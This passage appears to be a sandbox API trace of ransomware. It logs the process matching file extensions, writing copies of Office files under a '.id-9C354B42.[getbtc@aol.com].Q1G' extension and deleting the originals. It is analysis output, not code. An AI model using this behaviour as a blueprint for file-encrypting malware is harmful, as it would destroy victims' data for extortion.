lpString2="L.HXT") returned -1 [0249.282] lstrlenW (lpString=".ppt") returned 4 [0249.282] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.282] lstrlenW (lpString=".zip") returned 4 [0249.282] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0249.282] lstrlenW (lpString=".rar") returned 4 [0249.282] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0249.282] lstrlenW (lpString=".bz2") returned 4 [0249.282] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0249.282] lstrlenW (lpString=".7z") returned 3 [0249.282] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0249.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.283] lstrlenW (lpString=".dbf") returned 4 [0249.283] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0249.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.283] lstrlenW (lpString=".1cd") returned 4 [0249.283] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0249.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0249.283] lstrlenW (lpString=".jpg") returned 4 [0249.283] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0249.283] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0249.283] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0249.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.283] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114) returned 1 [0249.283] CloseHandle (hObject=0x3ac) returned 1 [0249.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 0x20 [0249.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.284] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.284] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.284] GetLastError () returned 0x0 [0249.284] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x72, lpOverlapped=0x0) returned 1 [0249.286] WriteFile (in: hFile=0x1fc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0249.286] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.286] WriteFile (in: hFile=0x1fc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0249.287] SetEndOfFile (hFile=0x1fc) returned 1 [0249.287] CloseHandle (hObject=0x1fc) returned 1 [0249.287] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.287] SetEndOfFile (hFile=0x3ac) returned 1 [0249.289] CloseHandle (hObject=0x3ac) returned 1 [0249.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 1 [0249.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.290] lstrlenW (lpString=".doc") returned 4 [0249.290] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.290] lstrlenW (lpString=".docx") returned 5 [0249.290] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.290] lstrlenW (lpString=".pdf") returned 4 [0249.290] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.290] lstrlenW (lpString=".xls") returned 4 [0249.290] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.290] lstrlenW (lpString=".xlsx") returned 5 [0249.290] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.290] lstrlenW (lpString=".ppt") returned 4 [0249.290] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.290] lstrlenW (lpString=".zip") returned 4 [0249.290] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.290] lstrlenW (lpString=".rar") returned 4 [0249.290] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.290] lstrlenW (lpString=".bz2") returned 4 [0249.290] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.290] lstrlenW (lpString=".7z") returned 3 [0249.290] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.290] lstrlenW (lpString=".dbf") returned 4 [0249.291] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString=".1cd") returned 4 [0249.291] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString=".jpg") returned 4 [0249.291] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString=".doc") returned 4 [0249.291] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.291] lstrlenW (lpString=".docx") returned 5 [0249.291] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.291] lstrlenW (lpString=".pdf") returned 4 [0249.291] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.291] lstrlenW (lpString=".xls") returned 4 [0249.291] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.291] lstrlenW (lpString=".xlsx") returned 5 [0249.291] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.291] lstrlenW (lpString=".ppt") returned 4 [0249.291] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString=".zip") returned 4 [0249.291] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.291] lstrlenW (lpString=".rar") returned 4 [0249.291] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.291] lstrlenW (lpString=".bz2") returned 4 [0249.291] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.291] lstrlenW (lpString=".7z") returned 3 [0249.291] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString=".dbf") returned 4 [0249.291] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.291] lstrlenW (lpString=".1cd") returned 4 [0249.292] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0249.292] lstrlenW (lpString=".jpg") returned 4 [0249.292] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.292] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0249.292] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0249.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.292] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0249.292] CloseHandle (hObject=0x3ac) returned 1 [0249.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 0x20 [0249.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.293] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.293] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.293] GetLastError () returned 0x0 [0249.293] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0249.294] WriteFile (in: hFile=0x1fc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0249.295] ReadFile (in: hFile=0x3ac, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.295] WriteFile (in: hFile=0x1fc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0249.295] SetEndOfFile (hFile=0x1fc) returned 1 [0249.295] CloseHandle (hObject=0x1fc) returned 1 [0249.295] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.295] SetEndOfFile (hFile=0x3ac) returned 1 [0249.298] CloseHandle (hObject=0x3ac) returned 1 [0249.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 1 [0249.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString=".doc") returned 4 [0249.299] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.299] lstrlenW (lpString=".docx") returned 5 [0249.299] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.299] lstrlenW (lpString=".pdf") returned 4 [0249.299] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.299] lstrlenW (lpString=".xls") returned 4 [0249.299] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.299] lstrlenW (lpString=".xlsx") returned 5 [0249.299] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.299] lstrlenW (lpString=".ppt") returned 4 [0249.299] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString=".zip") returned 4 [0249.299] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.299] lstrlenW (lpString=".rar") returned 4 [0249.299] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.299] lstrlenW (lpString=".bz2") returned 4 [0249.299] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.299] lstrlenW (lpString=".7z") returned 3 [0249.299] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString=".dbf") returned 4 [0249.299] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString=".1cd") returned 4 [0249.299] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString=".jpg") returned 4 [0249.299] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.299] lstrlenW (lpString=".doc") returned 4 [0249.300] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.300] lstrlenW (lpString=".docx") returned 5 [0249.300] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.300] lstrlenW (lpString=".pdf") returned 4 [0249.300] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.300] lstrlenW (lpString=".xls") returned 4 [0249.300] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.300] lstrlenW (lpString=".xlsx") returned 5 [0249.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.300] lstrlenW (lpString=".ppt") returned 4 [0249.300] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.300] lstrlenW (lpString=".zip") returned 4 [0249.300] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.300] lstrlenW (lpString=".rar") returned 4 [0249.300] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.300] lstrlenW (lpString=".bz2") returned 4 [0249.300] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.300] lstrlenW (lpString=".7z") returned 3 [0249.300] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.300] lstrlenW (lpString=".dbf") returned 4 [0249.300] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.300] lstrlenW (lpString=".1cd") returned 4 [0249.300] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0249.300] lstrlenW (lpString=".jpg") returned 4 [0249.300] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.300] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0249.300] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0249.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.504] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1899) returned 1 [0249.504] CloseHandle (hObject=0x3bc) returned 1 [0249.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 0x20 [0249.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.525] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.525] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.526] GetLastError () returned 0x0 [0249.526] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x76b, lpOverlapped=0x0) returned 1 [0249.528] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x770, lpOverlapped=0x0) returned 1 [0249.529] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.529] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.529] SetEndOfFile (hFile=0x3a0) returned 1 [0249.529] CloseHandle (hObject=0x3a0) returned 1 [0249.529] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.529] SetEndOfFile (hFile=0x3bc) returned 1 [0249.531] CloseHandle (hObject=0x3bc) returned 1 [0249.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 1 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.532] lstrlenW (lpString=".doc") returned 4 [0249.532] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.532] lstrlenW (lpString=".docx") returned 5 [0249.532] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0249.532] lstrlenW (lpString=".pdf") returned 4 [0249.532] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.532] lstrlenW (lpString=".xls") returned 4 [0249.532] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.532] lstrlenW (lpString=".xlsx") returned 5 [0249.532] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0249.532] lstrlenW (lpString=".ppt") returned 4 [0249.532] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.532] lstrlenW (lpString=".zip") returned 4 [0249.533] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.533] lstrlenW (lpString=".rar") returned 4 [0249.533] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString=".bz2") returned 4 [0249.533] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString=".7z") returned 3 [0249.533] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.533] lstrlenW (lpString=".dbf") returned 4 [0249.533] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.533] lstrlenW (lpString=".1cd") returned 4 [0249.533] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.533] lstrlenW (lpString=".jpg") returned 4 [0249.533] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.533] lstrlenW (lpString=".doc") returned 4 [0249.533] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString=".docx") returned 5 [0249.533] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0249.533] lstrlenW (lpString=".pdf") returned 4 [0249.533] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString=".xls") returned 4 [0249.533] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.533] lstrlenW (lpString=".xlsx") returned 5 [0249.533] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0249.533] lstrlenW (lpString=".ppt") returned 4 [0249.533] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.533] lstrlenW (lpString=".zip") returned 4 [0249.533] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.533] lstrlenW (lpString=".rar") returned 4 [0249.533] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.533] lstrlenW (lpString=".bz2") returned 4 [0249.533] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.534] lstrlenW (lpString=".7z") returned 3 [0249.534] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.534] lstrlenW (lpString=".dbf") returned 4 [0249.534] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.534] lstrlenW (lpString="C:\\Program 